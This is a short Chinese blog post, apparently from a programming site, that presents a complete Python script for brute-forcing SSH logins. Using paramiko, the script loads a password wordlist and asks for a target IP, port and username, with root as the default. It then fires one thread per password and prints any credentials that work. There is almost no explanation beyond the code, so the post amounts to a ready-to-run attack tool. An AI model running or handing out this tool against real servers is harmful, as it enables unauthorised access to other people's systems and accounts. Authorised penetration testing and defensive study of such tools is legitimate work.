用python实现简单的ssh爆破

import paramiko

import threading


 

with open (r'D:\daima\python\Domain name scanning\passwd.txt','r') as f :

    file = f.readlines()

for i in range(len(file)) :

    file[i] = file[i].replace("\n","")

   

ip = input("需要爆破的IP地址 ")

port = input("需要进行爆破的端口,默认为22端口 ")

username = input("需要进行爆破的用户名,默认为root账户 ")

if port == "" :

    port = 22

else :

    # 端口需要转为整数类型

    port = int(port)

if username == "" :

    username = 'root'

def login(ip,port,username,password) :

    #创建ssh客户端实例

    client = paramiko.SSHClient()

    #因为是密码爆破测试,所有直接忽略密钥

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:

        client.connect(ip, port=port, username=username, password=password)

        print(ip,username,port,password)

        return True

    except :

        ...

    finally :

        client.close()

def main():

    for password in file :

        threading.Thread(target=login,args=(ip, port, username, password)).start()



 

main()

  • 8
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值